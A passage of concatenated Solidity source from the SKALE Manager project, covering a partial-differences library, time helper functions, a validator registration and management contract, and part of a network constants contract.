but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../utils/MathUtils.sol";
import "../utils/FractionUtils.sol";
/**
* @title Partial Differences Library
* @dev This library contains functions to manage Partial Differences data
* structure. Partial Differences is an array of value differences over time.
*
* For example: assuming an array [3, 6, 3, 1, 2], partial differences can
* represent this array as [_, 3, -3, -2, 1].
*
* This data structure allows adding values on an open interval with O(1)
* complexity.
*
* For example: add +5 to [3, 6, 3, 1, 2] starting from the second element (3),
* instead of performing [3, 6, 3+5, 1+5, 2+5] partial differences allows
* performing [_, 3, -3+5, -2, 1]. The original array can be restored by
* adding values from partial differences.
*/
library PartialDifferences {
using SafeMath for uint;
using MathUtils for uint;
struct Sequence {
// month => diff
mapping (uint => uint) addDiff;
// month => diff
mapping (uint => uint) subtractDiff;
// month => value
mapping (uint => uint) value;
uint firstUnprocessedMonth;
uint lastChangedMonth;
}
struct Value {
// month => diff
mapping (uint => uint) addDiff;
// month => diff
mapping (uint => uint) subtractDiff;
uint value;
uint firstUnprocessedMonth;
uint lastChangedMonth;
}
// functions for sequence
function addToSequence(Sequence storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
}
sequence.addDiff[month] = sequence.addDiff[month].add(diff);
if (sequence.lastChangedMonth != month) {
sequence.lastChangedMonth = month;
}
}
function subtractFromSequence(Sequence storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month, "Cannot subtract from the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
}
sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff);
if (sequence.lastChangedMonth != month) {
sequence.lastChangedMonth = month;
}
}
function getAndUpdateValueInSequence(Sequence storage sequence, uint month) internal returns (uint) {
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
uint nextValue = sequence.value[i.sub(1)].add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]);
if (sequence.value[i] != nextValue) {
sequence.value[i] = nextValue;
}
if (sequence.addDiff[i] > 0) {
delete sequence.addDiff[i];
}
if (sequence.subtractDiff[i] > 0) {
delete sequence.subtractDiff[i];
}
}
sequence.firstUnprocessedMonth = month.add(1);
}
return sequence.value[month];
}
function getValueInSequence(Sequence storage sequence, uint month) internal view returns (uint) {
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
uint value = sequence.value[sequence.firstUnprocessedMonth.sub(1)];
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]);
}
return value;
} else {
return sequence.value[month];
}
}
function getValuesInSequence(Sequence storage sequence) internal view returns (uint[] memory values) {
if (sequence.firstUnprocessedMonth == 0) {
return values;
}
uint begin = sequence.firstUnprocessedMonth.sub(1);
uint end = sequence.lastChangedMonth.add(1);
if (end <= begin) {
end = begin.add(1);
}
values = new uint[](end.sub(begin));
values[0] = sequence.value[sequence.firstUnprocessedMonth.sub(1)];
for (uint i = 0; i.add(1) < values.length; ++i) {
uint month = sequence.firstUnprocessedMonth.add(i);
values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]);
}
}
function reduceSequence(
Sequence storage sequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month) internal
{
require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past");
require(
reducingCoefficient.numerator <= reducingCoefficient.denominator,
"Increasing of values is not implemented");
if (sequence.firstUnprocessedMonth == 0) {
return;
}
uint value = getAndUpdateValueInSequence(sequence, month);
if (value.approximatelyEqual(0)) {
return;
}
sequence.value[month] = sequence.value[month]
.mul(reducingCoefficient.numerator)
.div(reducingCoefficient.denominator);
for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) {
sequence.subtractDiff[i] = sequence.subtractDiff[i]
.mul(reducingCoefficient.numerator)
.div(reducingCoefficient.denominator);
}
}
// functions for value
function addToValue(Value storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
sequence.lastChangedMonth = month;
}
if (month > sequence.lastChangedMonth) {
sequence.lastChangedMonth = month;
}
if (month >= sequence.firstUnprocessedMonth) {
sequence.addDiff[month] = sequence.addDiff[month].add(diff);
} else {
sequence.value = sequence.value.add(diff);
}
}
function subtractFromValue(Value storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month.add(1), "Cannot subtract from the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
sequence.lastChangedMonth = month;
}
if (month > sequence.lastChangedMonth) {
sequence.lastChangedMonth = month;
}
if (month >= sequence.firstUnprocessedMonth) {
sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff);
} else {
sequence.value = sequence.value.boundedSub(diff);
}
}
function getAndUpdateValue(Value storage sequence, uint month) internal returns (uint) {
require(
month.add(1) >= sequence.firstUnprocessedMonth,
"Cannot calculate value in the past");
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
uint value = sequence.value;
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
value = value.add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]);
if (sequence.addDiff[i] > 0) {
delete sequence.addDiff[i];
}
if (sequence.subtractDiff[i] > 0) {
delete sequence.subtractDiff[i];
}
}
if (sequence.value != value) {
sequence.value = value;
}
sequence.firstUnprocessedMonth = month.add(1);
}
return sequence.value;
}
function getValue(Value storage sequence, uint month) internal view returns (uint) {
require(
month.add(1) >= sequence.firstUnprocessedMonth,
"Cannot calculate value in the past");
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
uint value = sequence.value;
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]);
}
return value;
} else {
return sequence.value;
}
}
function getValues(Value storage sequence) internal view returns (uint[] memory values) {
if (sequence.firstUnprocessedMonth == 0) {
return values;
}
uint begin = sequence.firstUnprocessedMonth.sub(1);
uint end = sequence.lastChangedMonth.add(1);
if (end <= begin) {
end = begin.add(1);
}
values = new uint[](end.sub(begin));
values[0] = sequence.value;
for (uint i = 0; i.add(1) < values.length; ++i) {
uint month = sequence.firstUnprocessedMonth.add(i);
values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]);
}
}
function reduceValue(
Value storage sequence,
uint amount,
uint month)
internal returns (FractionUtils.Fraction memory)
{
require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past");
if (sequence.firstUnprocessedMonth == 0) {
return FractionUtils.createFraction(0);
}
uint value = getAndUpdateValue(sequence, month);
if (value.approximatelyEqual(0)) {
return FractionUtils.createFraction(0);
}
uint _amount = amount;
if (value < amount) {
_amount = value;
}
FractionUtils.Fraction memory reducingCoefficient =
FractionUtils.createFraction(value.boundedSub(_amount), value);
reduceValueByCoefficient(sequence, reducingCoefficient, month);
return reducingCoefficient;
}
function reduceValueByCoefficient(
Value storage sequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month)
internal
{
reduceValueByCoefficientAndUpdateSumIfNeeded(
sequence,
sequence,
reducingCoefficient,
month,
false);
}
function reduceValueByCoefficientAndUpdateSum(
Value storage sequence,
Value storage sumSequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month) internal
{
reduceValueByCoefficientAndUpdateSumIfNeeded(
sequence,
sumSequence,
reducingCoefficient,
month,
true);
}
function reduceValueByCoefficientAndUpdateSumIfNeeded(
Value storage sequence,
Value storage sumSequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month,
bool hasSumSequence) internal
{
require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past");
if (hasSumSequence) {
require(month.add(1) >= sumSequence.firstUnprocessedMonth, "Cannot reduce value in the past");
}
require(
reducingCoefficient.numerator <= reducingCoefficient.denominator,
"Increasing of values is not implemented");
if (sequence.firstUnprocessedMonth == 0) {
return;
}
uint value = getAndUpdateValue(sequence, month);
if (value.approximatelyEqual(0)) {
return;
}
uint newValue = sequence.value.mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator);
if (hasSumSequence) {
subtractFromValue(sumSequence, sequence.value.boundedSub(newValue), month);
}
sequence.value = newValue;
for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) {
uint newDiff = sequence.subtractDiff[i]
.mul(reducingCoefficient.numerator)
.div(reducingCoefficient.denominator);
if (hasSumSequence) {
sumSequence.subtractDiff[i] = sumSequence.subtractDiff[i]
.boundedSub(sequence.subtractDiff[i].boundedSub(newDiff));
}
sequence.subtractDiff[i] = newDiff;
}
}
function clear(Value storage sequence) internal {
for (uint i = sequence.firstUnprocessedMonth; i <= sequence.lastChangedMonth; ++i) {
if (sequence.addDiff[i] > 0) {
delete sequence.addDiff[i];
}
if (sequence.subtractDiff[i] > 0) {
delete sequence.subtractDiff[i];
}
}
if (sequence.value > 0) {
delete sequence.value;
}
if (sequence.firstUnprocessedMonth > 0) {
delete sequence.firstUnprocessedMonth;
}
if (sequence.lastChangedMonth > 0) {
delete sequence.lastChangedMonth;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
TimeHelpers.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../thirdparty/BokkyPooBahsDateTimeLibrary.sol";
/**
* @title TimeHelpers
* @dev The contract performs time operations.
*
* These functions are used to calculate monthly and Proof of Use epochs.
*/
contract TimeHelpers {
using SafeMath for uint;
uint constant private _ZERO_YEAR = 2020;
function calculateProofOfUseLockEndTime(uint month, uint lockUpPeriodDays) external view returns (uint timestamp) {
timestamp = BokkyPooBahsDateTimeLibrary.addDays(monthToTimestamp(month), lockUpPeriodDays);
}
function addDays(uint fromTimestamp, uint n) external pure returns (uint) {
return BokkyPooBahsDateTimeLibrary.addDays(fromTimestamp, n);
}
function addMonths(uint fromTimestamp, uint n) external pure returns (uint) {
return BokkyPooBahsDateTimeLibrary.addMonths(fromTimestamp, n);
}
function addYears(uint fromTimestamp, uint n) external pure returns (uint) {
return BokkyPooBahsDateTimeLibrary.addYears(fromTimestamp, n);
}
function getCurrentMonth() external view virtual returns (uint) {
return timestampToMonth(now);
}
function timestampToDay(uint timestamp) external view returns (uint) {
uint wholeDays = timestamp / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY;
uint zeroDay = BokkyPooBahsDateTimeLibrary.timestampFromDate(_ZERO_YEAR, 1, 1) /
BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY;
require(wholeDays >= zeroDay, "Timestamp is too far in the past");
return wholeDays - zeroDay;
}
function timestampToYear(uint timestamp) external view virtual returns (uint) {
uint year;
(year, , ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp);
require(year >= _ZERO_YEAR, "Timestamp is too far in the past");
return year - _ZERO_YEAR;
}
function timestampToMonth(uint timestamp) public view virtual returns (uint) {
uint year;
uint month;
(year, month, ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp);
require(year >= _ZERO_YEAR, "Timestamp is too far in the past");
month = month.sub(1).add(year.sub(_ZERO_YEAR).mul(12));
require(month > 0, "Timestamp is too far in the past");
return month;
}
function monthToTimestamp(uint month) public view virtual returns (uint timestamp) {
uint year = _ZERO_YEAR;
uint _month = month;
year = year.add(_month.div(12));
_month = _month.mod(12);
_month = _month.add(1);
return BokkyPooBahsDateTimeLibrary.timestampFromDate(year, _month, 1);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ValidatorService.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol";
import "../Permissions.sol";
import "../ConstantsHolder.sol";
import "./DelegationController.sol";
import "./TimeHelpers.sol";
/**
* @title ValidatorService
* @dev This contract handles all validator operations including registration,
* node management, validator-specific delegation parameters, and more.
*
* TIP: For more information see our main instructions
* https://forum.skale.network/t/skale-mainnet-launch-faq/182[SKALE MainNet Launch FAQ].
*
* Validators register an address, and use this address to accept delegations and
* register nodes.
*/
contract ValidatorService is Permissions {
using ECDSA for bytes32;
struct Validator {
string name;
address validatorAddress;
address requestedAddress;
string description;
uint feeRate;
uint registrationTime;
uint minimumDelegationAmount;
bool acceptNewRequests;
}
/**
* @dev Emitted when a validator registers.
*/
event ValidatorRegistered(
uint validatorId
);
/**
* @dev Emitted when a validator address changes.
*/
event ValidatorAddressChanged(
uint validatorId,
address newAddress
);
/**
* @dev Emitted when a validator is enabled.
*/
event ValidatorWasEnabled(
uint validatorId
);
/**
* @dev Emitted when a validator is disabled.
*/
event ValidatorWasDisabled(
uint validatorId
);
/**
* @dev Emitted when a node address is linked to a validator.
*/
event NodeAddressWasAdded(
uint validatorId,
address nodeAddress
);
/**
* @dev Emitted when a node address is unlinked from a validator.
*/
event NodeAddressWasRemoved(
uint validatorId,
address nodeAddress
);
mapping (uint => Validator) public validators;
mapping (uint => bool) private _trustedValidators;
uint[] public trustedValidatorsList;
// address => validatorId
mapping (address => uint) private _validatorAddressToId;
// address => validatorId
mapping (address => uint) private _nodeAddressToValidatorId;
// validatorId => nodeAddress[]
mapping (uint => address[]) private _nodeAddresses;
uint public numberOfValidators;
bool public useWhitelist;
modifier checkValidatorExists(uint validatorId) {
require(validatorExists(validatorId), "Validator with such ID does not exist");
_;
}
/**
* @dev Creates a new validator ID that includes a validator name, description,
* commission or fee rate, and a minimum delegation amount accepted by the validator.
*
* Emits a {ValidatorRegistered} event.
*
* Requirements:
*
* - Sender must not already have registered a validator ID.
* - Fee rate must be between 0 - 1000‰. Note: in per mille.
*/
function registerValidator(
string calldata name,
string calldata description,
uint feeRate,
uint minimumDelegationAmount
)
external
returns (uint validatorId)
{
require(!validatorAddressExists(msg.sender), "Validator with such address already exists");
require(feeRate <= 1000, "Fee rate of validator should be lower than 100%");
validatorId = ++numberOfValidators;
validators[validatorId] = Validator(
name,
msg.sender,
address(0),
description,
feeRate,
now,
minimumDelegationAmount,
true
);
_setValidatorAddress(validatorId, msg.sender);
emit ValidatorRegistered(validatorId);
}
/**
* @dev Allows Admin to enable a validator by adding their ID to the
* trusted list.
*
* Emits a {ValidatorWasEnabled} event.
*
* Requirements:
*
* - Validator must not already be enabled.
*/
function enableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin {
require(!_trustedValidators[validatorId], "Validator is already enabled");
_trustedValidators[validatorId] = true;
trustedValidatorsList.push(validatorId);
emit ValidatorWasEnabled(validatorId);
}
/**
* @dev Allows Admin to disable a validator by removing their ID from
* the trusted list.
*
* Emits a {ValidatorWasDisabled} event.
*
* Requirements:
*
* - Validator must not already be disabled.
*/
function disableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin {
require(_trustedValidators[validatorId], "Validator is already disabled");
_trustedValidators[validatorId] = false;
uint position = _find(trustedValidatorsList, validatorId);
if (position < trustedValidatorsList.length) {
trustedValidatorsList[position] =
trustedValidatorsList[trustedValidatorsList.length.sub(1)];
}
trustedValidatorsList.pop();
emit ValidatorWasDisabled(validatorId);
}
/**
* @dev Owner can disable the trusted validator list. Once turned off, the
* trusted list cannot be re-enabled.
*/
function disableWhitelist() external onlyOwner {
useWhitelist = false;
}
/**
* @dev Allows `msg.sender` to request a new address.
*
* Requirements:
*
* - `msg.sender` must already be a validator.
* - New address must not be null.
* - New address must not be already registered as a validator.
*/
function requestForNewAddress(address newValidatorAddress) external {
require(newValidatorAddress != address(0), "New address cannot be null");
require(_validatorAddressToId[newValidatorAddress] == 0, "Address already registered");
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].requestedAddress = newValidatorAddress;
}
/**
* @dev Allows msg.sender to confirm an address change.
*
* Emits a {ValidatorAddressChanged} event.
*
* Requirements:
*
* - Must be owner of new address.
*/
function confirmNewAddress(uint validatorId)
external
checkValidatorExists(validatorId)
{
require(
getValidator(validatorId).requestedAddress == msg.sender,
"The validator address cannot be changed because it is not the actual owner"
);
delete validators[validatorId].requestedAddress;
_setValidatorAddress(validatorId, msg.sender);
emit ValidatorAddressChanged(validatorId, validators[validatorId].validatorAddress);
}
/**
* @dev Links a node address to validator ID. Validator must present
* the node signature of the validator ID.
*
* Requirements:
*
* - Signature must be valid.
* - Address must not be assigned to a validator.
*/
function linkNodeAddress(address nodeAddress, bytes calldata sig) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
require(
keccak256(abi.encodePacked(validatorId)).toEthSignedMessageHash().recover(sig) == nodeAddress,
"Signature is not pass"
);
require(_validatorAddressToId[nodeAddress] == 0, "Node address is a validator");
_addNodeAddress(validatorId, nodeAddress);
emit NodeAddressWasAdded(validatorId, nodeAddress);
}
/**
* @dev Unlinks a node address from a validator.
*
* Emits a {NodeAddressWasRemoved} event.
*/
function unlinkNodeAddress(address nodeAddress) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
this.removeNodeAddress(validatorId, nodeAddress);
emit NodeAddressWasRemoved(validatorId, nodeAddress);
}
/**
* @dev Allows a validator to set a minimum delegation amount.
*/
function setValidatorMDA(uint minimumDelegationAmount) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].minimumDelegationAmount = minimumDelegationAmount;
}
/**
* @dev Allows a validator to set a new validator name.
*/
function setValidatorName(string calldata newName) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].name = newName;
}
/**
* @dev Allows a validator to set a new validator description.
*/
function setValidatorDescription(string calldata newDescription) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].description = newDescription;
}
/**
* @dev Allows a validator to start accepting new delegation requests.
*
* Requirements:
*
* - Must not have already enabled accepting new requests.
*/
function startAcceptingNewRequests() external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
require(!isAcceptingNewRequests(validatorId), "Accepting request is already enabled");
validators[validatorId].acceptNewRequests = true;
}
/**
* @dev Allows a validator to stop accepting new delegation requests.
*
* Requirements:
*
* - Must not have already stopped accepting new requests.
*/
function stopAcceptingNewRequests() external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
require(isAcceptingNewRequests(validatorId), "Accepting request is already disabled");
validators[validatorId].acceptNewRequests = false;
}
function removeNodeAddress(uint validatorId, address nodeAddress) external allowTwo("ValidatorService", "Nodes") {
require(_nodeAddressToValidatorId[nodeAddress] == validatorId,
"Validator does not have permissions to unlink node");
delete _nodeAddressToValidatorId[nodeAddress];
for (uint i = 0; i < _nodeAddresses[validatorId].length; ++i) {
if (_nodeAddresses[validatorId][i] == nodeAddress) {
if (i + 1 < _nodeAddresses[validatorId].length) {
_nodeAddresses[validatorId][i] =
_nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)];
}
delete _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)];
_nodeAddresses[validatorId].pop();
break;
}
}
}
/**
* @dev Returns the amount of validator bond (self-delegation).
*/
function getAndUpdateBondAmount(uint validatorId)
external
returns (uint)
{
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
return delegationController.getAndUpdateDelegatedByHolderToValidatorNow(
getValidator(validatorId).validatorAddress,
validatorId
);
}
/**
* @dev Returns node addresses linked to the msg.sender.
*/
function getMyNodesAddresses() external view returns (address[] memory) {
return getNodeAddresses(getValidatorId(msg.sender));
}
/**
* @dev Returns the list of trusted validators.
*/
function getTrustedValidators() external view returns (uint[] memory) {
return trustedValidatorsList;
}
/**
* @dev Checks whether the validator ID is linked to the validator address.
*/
function checkValidatorAddressToId(address validatorAddress, uint validatorId)
external
view
returns (bool)
{
return getValidatorId(validatorAddress) == validatorId ? true : false;
}
/**
* @dev Returns the validator ID linked to a node address.
*
* Requirements:
*
* - Node address must be linked to a validator.
*/
function getValidatorIdByNodeAddress(address nodeAddress) external view returns (uint validatorId) {
validatorId = _nodeAddressToValidatorId[nodeAddress];
require(validatorId != 0, "Node address is not assigned to a validator");
}
function checkValidatorCanReceiveDelegation(uint validatorId, uint amount) external view {
require(isAuthorizedValidator(validatorId), "Validator is not authorized to accept delegation request");
require(isAcceptingNewRequests(validatorId), "The validator is not currently accepting new requests");
require(
validators[validatorId].minimumDelegationAmount <= amount,
"Amount does not meet the validator's minimum delegation amount"
);
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
useWhitelist = true;
}
/**
* @dev Returns a validator's node addresses.
*/
function getNodeAddresses(uint validatorId) public view returns (address[] memory) {
return _nodeAddresses[validatorId];
}
/**
* @dev Checks whether validator ID exists.
*/
function validatorExists(uint validatorId) public view returns (bool) {
return validatorId <= numberOfValidators && validatorId != 0;
}
/**
* @dev Checks whether validator address exists.
*/
function validatorAddressExists(address validatorAddress) public view returns (bool) {
return _validatorAddressToId[validatorAddress] != 0;
}
/**
* @dev Checks whether validator address exists.
*/
function checkIfValidatorAddressExists(address validatorAddress) public view {
require(validatorAddressExists(validatorAddress), "Validator address does not exist");
}
/**
* @dev Returns the Validator struct.
*/
function getValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (Validator memory) {
return validators[validatorId];
}
/**
* @dev Returns the validator ID for the given validator address.
*/
function getValidatorId(address validatorAddress) public view returns (uint) {
checkIfValidatorAddressExists(validatorAddress);
return _validatorAddressToId[validatorAddress];
}
/**
* @dev Checks whether the validator is currently accepting new delegation requests.
*/
function isAcceptingNewRequests(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) {
return validators[validatorId].acceptNewRequests;
}
function isAuthorizedValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) {
return _trustedValidators[validatorId] || !useWhitelist;
}
// private
/**
* @dev Links a validator address to a validator ID.
*
* Requirements:
*
* - Address is not already in use by another validator.
*/
function _setValidatorAddress(uint validatorId, address validatorAddress) private {
if (_validatorAddressToId[validatorAddress] == validatorId) {
return;
}
require(_validatorAddressToId[validatorAddress] == 0, "Address is in use by another validator");
address oldAddress = validators[validatorId].validatorAddress;
delete _validatorAddressToId[oldAddress];
_nodeAddressToValidatorId[validatorAddress] = validatorId;
validators[validatorId].validatorAddress = validatorAddress;
_validatorAddressToId[validatorAddress] = validatorId;
}
/**
* @dev Links a node address to a validator ID.
*
* Requirements:
*
* - Node address must not be already linked to a validator.
*/
function _addNodeAddress(uint validatorId, address nodeAddress) private {
if (_nodeAddressToValidatorId[nodeAddress] == validatorId) {
return;
}
require(_nodeAddressToValidatorId[nodeAddress] == 0, "Validator cannot override node address");
_nodeAddressToValidatorId[nodeAddress] = validatorId;
_nodeAddresses[validatorId].push(nodeAddress);
}
function _find(uint[] memory array, uint index) private pure returns (uint) {
uint i;
for (i = 0; i < array.length; i++) {
if (array[i] == index) {
return i;
}
}
return array.length;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ConstantsHolder.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./Permissions.sol";
/**
* @title ConstantsHolder
* @dev Contract contains constants and common variables for the SKALE Network.
*/
contract ConstantsHolder is Permissions {
// initial price for creating Node (100 SKL)
uint public constant NODE_DEPOSIT = 100 * 1e18;
uint8 public constant TOTAL_SPACE_ON_NODE = 128;
// part of Node for Small Skale-chain (1/128 of Node)
uint8 public constant SMALL_DIVISOR = 128;
// part of Node for Medium Skale-chain (1/32 of Node)
uint8 public constant MEDIUM_DIVISOR = 32;
// part of Node for Large Skale-chain (full Node)
uint8 public constant LARGE_DIVISOR = 1;
// part of Node for Medium Test Skale-chain (1/4 of Node)
uint8 public constant MEDIUM_TEST_DIVISOR = 4;
// typically number of Nodes for Skale-chain (16 Nodes)
uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16;
// number of Nodes for Test Skale-chain (2 Nodes)
uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2;
// number of Nodes for Test Skale-chain (4 Nodes)
uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4;
// number of seconds in one year
uint32 public constant SECONDS_TO_YEAR = 31622400;
// initial number of monitors
uint public constant NUMBER_OF_MONITORS = 24;
uint public constant OPTIMAL_LOAD_PERCENTAGE = 80;
uint public constant ADJUSTMENT_SPEED = 1000;
uint public constant COOLDOWN_TIME = 60;
uint public constant MIN_PRICE = 10**6;
uint public constant MSR_REDUCING_COEFFICIENT = 2;
uint public constant DOWNTIME_THRESHOLD_PART = 30;
uint public constant BOUNTY_LOCKUP_MONTHS = 2;
uint public constant ALRIGHT_DELTA = 54640;
uint public constant BROADCAST_DELTA = 122660;
uint public constant COMPLAINT_BAD_DATA_DELTA = 40720;
uint public constant PRE_RESPONSE_DELTA = 67780;
uint public constant COMPLAINT_DELTA = 67100;
uint public constant RESPONSE_DELTA = 215000;
// MSR - Minimum staking requirement
uint public msr;
// Reward period - 30 days (each 30 days Node would be granted for bounty)
uint32 public rewardPeriod;
// Allowable latency - 150000 ms by default
uint32 public allowableLatency;
/**
* Delta period - 1 hour (1 hour before Reward period became Monitors need
* to send Verdicts and 1 hour after Reward period became Node need to come
* and get Bounty)
*/
uint32 public deltaPeriod;
/**
* Check time - 2 minutes (every 2 minutes monitors should check metrics
* from checked nodes)
*/
uint public checkTime;
//Need to add minimal allowed parameters for verdicts
uint public launchTimestamp;
uint public rotationDelay;
uint public proofOfUseLockUpPeriodDays;
uint public proofOfUseDelegationPercentage;
uint public limitValidatorsPerDelegator;
uint256 public firstDelegationsMonth; // deprecated
// date when schains will be allowed for creation
uint public schainCreationTimeStamp;
uint public minimalSchainLifetime;
uint public complaintTimelimit;
/**
* @dev Allows the Owner to set new reward and delta periods
* This function is only for tests.
*/
function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external onlyOwner {
require(
newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime,
"Incorrect Periods"
);
rewardPeriod = newRewardPeriod;
deltaPeriod = newDeltaPeriod;
}
/**
* @dev Allows the Owner to set the new check time.
* This function is only for tests.
*/
function setCheckTime(uint newCheckTime) external onlyOwner {
require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time");
checkTime = newCheckTime;
}
/**
* @dev Allows the Owner to set the allowable latency in milliseconds.
* This function is only for testing purposes.
*/
function setLatency(uint32 newAllowableLatency) external onlyOwner {
allowableLatency = newAllowableLatency;
}
/**
* @dev Allows the Owner to set the minimum stake requirement.
*/
function setMSR(uint newMSR) external onlyOwner {
msr = newMSR;
}
/**
* @dev Allows the Owner to set the launch timestamp.
*/
function setLaunchTimestamp(uint timestamp) external onlyOwner {
require(now < launchTimestamp, "Cannot set network launch timestamp because network is already launched");
launchTimestamp = timestamp;
}
/**
* @dev Allows the Owner to set the node rotation delay.
*/
function setRotationDelay(uint newDelay) external onlyOwner {
rotationDelay = newDelay;
}
/**
* @dev Allows the Owner to set the proof-of-use lockup period.
*/
function setProofOfUseLockUpPeriod(uint periodDays) external onlyOwner {
proofOfUseLockUpPeriodDays = periodDays;
}
/**
* @dev Allows the Owner to set the proof-of-use delegation percentage
* requirement.
*/
function setProofOfUseDelegationPercentage(uint percentage) external onlyOwner {
require(percentage <= 100, "Percentage value is incorrect");
proofOfUseDelegationPercentage = percentage;
}
/**
* @dev Allows the Owner to set the maximum number of validators that a
* single delegator can delegate to.
*/
